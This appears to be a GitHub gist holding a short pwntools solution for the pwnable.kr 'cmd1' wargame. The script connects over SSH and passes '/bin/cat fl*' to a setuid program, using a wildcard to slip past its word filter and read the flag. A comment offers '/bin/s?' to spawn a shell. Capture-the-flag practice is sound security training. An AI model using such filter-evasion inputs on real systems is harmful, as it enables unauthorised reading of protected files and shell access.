from pwn import *
sh = ssh(host='pwnable.kr', user='cmd1', password='guest', port=2222)
proc = sh.process(['/home/cmd1/cmd1', '/bin/cat fl*'])
print proc.recv(1024)
Last active
March 12, 2018 21:42
-
-
Save parksjin01/e9e8b82fd2ac07e767c0095e3c6fc375 to your computer and use it in GitHub Desktop.
pwnable.kr cmd1 writeup
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
alternative is to use '/bin/s?' instead of '/bin/cat fl*'